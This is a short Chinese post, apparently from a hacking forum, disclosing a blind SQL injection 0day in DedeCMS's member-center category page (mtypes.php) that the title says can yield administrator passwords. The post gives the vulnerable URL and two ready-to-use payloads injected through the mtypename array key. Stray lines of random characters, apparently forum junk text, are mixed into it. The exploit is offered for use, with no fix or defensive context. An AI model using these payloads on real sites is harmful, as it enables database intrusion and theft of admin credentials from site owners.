DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.

# G* l6 x; X: S1 S5 O& h3 I
发生在数组key里的注射漏洞,有点意思.
5 t# d6 N. }/ c9 j% _5 F& T8 B
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
; q. t8 w% q4 H& E7 k
http://www.xxx.com /dede/member/mtypes.php?dopost=save
7 V) |) O/ t- v8 U' b
1 C. M$ _, t- _% i3 Z# @/ |4 U. Vexploit:
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
" _$ d4 N+ x& E3 {& |